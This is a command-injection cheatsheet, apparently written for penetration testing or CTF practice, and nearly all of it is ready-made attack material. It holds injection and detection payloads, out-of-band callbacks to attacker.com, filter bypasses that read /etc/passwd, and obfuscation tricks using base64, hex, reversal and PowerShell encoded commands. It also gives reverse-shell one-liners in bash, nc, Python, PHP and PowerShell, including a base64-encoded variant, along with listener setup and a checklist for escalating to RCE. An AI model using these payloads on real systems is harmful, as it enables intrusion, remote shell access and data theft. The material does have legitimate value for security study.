Cheatsheet
Injection Operators
; # Linux + PowerShell (NOT CMD)
& # background (Linux) / sequence (Windows)
&& # AND — next runs only if previous succeeded
| # pipe
|| # OR — next runs only if previous failed
`cmd` # backtick substitution (Linux)
$(cmd) # command substitution (Linux)
%0a # URL-encoded newline — command separator
Detection Payloads
127.0.0.1; whoami
127.0.0.1&& whoami
127.0.0.1| whoami
127.0.0.1|| whoami
127.0.0.1 %0a whoami
127.0.0.1 `whoami`
127.0.0.1 $(whoami)
Blind Detection (Timing)
127.0.0.1; sleep 5
127.0.0.1&& sleep 5
127.0.0.1 %0a sleep 5
Blind Detection (OOB)
127.0.0.1; curl http://attacker.com/HIT
127.0.0.1; nslookup HIT.attacker.com
127.0.0.1; wget http://attacker.com/HIT
Space Filter Bypasses
cat%09/etc/passwd # tab
cat$IFS/etc/passwd # IFS
cat${IFS}/etc/passwd # IFS variant
cat$IFS$9/etc/passwd # IFS with anchor
{cat,/etc/passwd} # brace expansion
cat</etc/passwd # redirect
Character Bypass — Slash via $PATH
cat ${PATH:0:1}etc${PATH:0:1}passwd # /etc/passwd without /
cat %HOMEPATH:~0,1%Users # Windows CMD equivalent
Character Bypass — ASCII Shift
# Linux: get \ from [
echo $(tr '!-}' '"-~' <<< [)
# PowerShell: get \ from [
[char]([int][char]'[' + 1)
Command Obfuscation — Insertion
# Linux
w'h'o'am'i
w"hoam"i
who\a\m\i
who$@ami
# Windows CMD
who^ami
# Windows (case)
WHOamI
Command Obfuscation — Case (Linux)
$( tr 'A-Z' 'a-z' <<< WHOami )
$( tr "[A-Z]" "[a-z]" <<< "WhOaMi" )
a = "WhOaMi" ; printf %s "${ a ,,}"
Command Obfuscation — Reversed
# Linux
$( rev <<< imaohw ) # outputs: whoami → executes
# PowerShell
iex "$( 'imaohw'[-1..-20] -join '')"
Command Obfuscation — Base64
# Linux
echo -n whoami | base64 # d2hvYW1p
bash <<< $( echo 'd2hvYW1p' | base64 -d )
# Alternatives if bash/base64 filtered
sh <<< $( echo 'd2hvYW1p' | openssl base64 -d )
# PowerShell (UTF-16LE)
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes( 'whoami' ))
iex "$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String( 'dwBoAG8AYQBtAGkA' )))"
powershell -EncodedCommand dwBoAG8AYQBtAGkA
Command Obfuscation — Hex
echo whoami | xxd # 7768 6f61 6d69
bash <<< $( echo -n '7768 6f61 6d69' | xxd -r -p )
Reverse Shell Payloads
# Linux — bash TCP
bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
# Linux — nc
nc -e /bin/bash ATTACKER 4444
rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER 4444 > /tmp/f
# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# PHP
php -r '$sock=fsockopen("ATTACKER",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# PowerShell
powershell -c " $c =New-Object System.Net.Sockets.TCPClient('ATTACKER',4444); $s = $c .GetStream();[byte[]] $b =0..65535|%{0};while(( $i = $s .Read( $b ,0, $b .Length))-ne 0){; $d =(New-Object -TypeName System.Text.ASCIIEncoding).GetString( $b ,0, $i ); $r =(iex $d 2>&1 | Out-String); $sb =([text.encoding]::ASCII).GetBytes( $r +'PS '+(pwd).Path+'> '); $s .Write( $sb ,0, $sb .Length); $s .Flush()}; $c .Close()"
Reverse Shell Base64 (for Obfuscated Injection)
# base64 of: bash -i >& /dev/tcp/ATTACKER/4444 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUi80NDQ0IDA+JjE =
# use with brace expansion (no spaces):
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}
Listener Setup
nc -lvnp 4444
nc -lvnp 4444 | tee session.log # log the session
rlwrap nc -lvnp 4444 # readline support
# Bashfuscator (Linux shell)
git clone https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'whoami'
# Invoke-Obfuscation (PowerShell)
git clone https://github.com/danielbohannon/Invoke-Obfuscation
Invoke-Obfuscation
# Invoke-DOSfuscation (CMD)
git clone https://github.com/danielbohannon/Invoke-DOSfuscation
Invoke-DOSfuscation
Common Vulnerable Parameters
?ip=
?host=
?domain=
?target=
?file=
?filename=
?url=
?cmd=
?command=
?exec=
?ping=
Checklist
Identify Injection
Find parameters that look like they feed into system commands (ping, DNS lookup, traceroute, file ops)
Test each injection operator: ;, &, &&, |, ||, %0a, backticks, $()
If blind, test timing (sleep 5) and OOB (curl attacker.com/hit)
Bypass front-end validation by capturing and modifying requests in Burp
Isolate Filters
Bypass Space Filter
Bypass Character Filter
Bypass Command Name Filter
Upgrade to RCE
Post-Exploitation
Documentation